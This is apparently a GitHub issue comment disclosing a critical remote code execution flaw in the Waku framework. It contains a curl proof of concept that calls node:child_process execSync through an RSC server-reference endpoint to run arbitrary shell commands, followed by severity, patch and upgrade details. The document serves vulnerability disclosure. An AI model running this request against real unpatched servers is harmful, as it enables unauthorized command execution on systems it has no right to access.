Update: RCE Confirmed (December 13, 2025)

[MichaelAdamGroberman]

I've confirmed that this vulnerability allows full Remote Code Execution, not just information disclosure.

RCE Proof of Concept

# Execute arbitrary shell commands via child_process.execSync
curl -s -X POST 'http://localhost:3004/RSC/F/node:child_process/execSync.txt' \
  -H 'Content-Type: application/json' \
  -d '["id"]'

# Response contains command output as buffer:
# {"_value":{"type":"Buffer","data":[117,105,100,61,49,48,48,48,...]}}
# Decoded: "uid=1000(kali) gid=1000(kali) groups=..."

Any shell command can be executed by passing it as a JSON array in the POST body.

Severity Update

This upgrades the severity:
- Previous: High (CVSS 7.5) - Information Disclosure
- Updated: Critical (CVSS 9.8) - Remote Code Execution

CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Patch Verification

Confirmed patched in version 0.27.4. The fix adds rsc:reference-validation plugin that blocks node: protocol imports:

Error: [vite-rsc] invalid server reference 'node:child_process'
plugin: 'rsc:reference-validation'

Users on versions <= 0.21.24 should upgrade immediately.

Thank you Waku for this immediate patch.

[dai-shi]

Is this the updated version of #1842?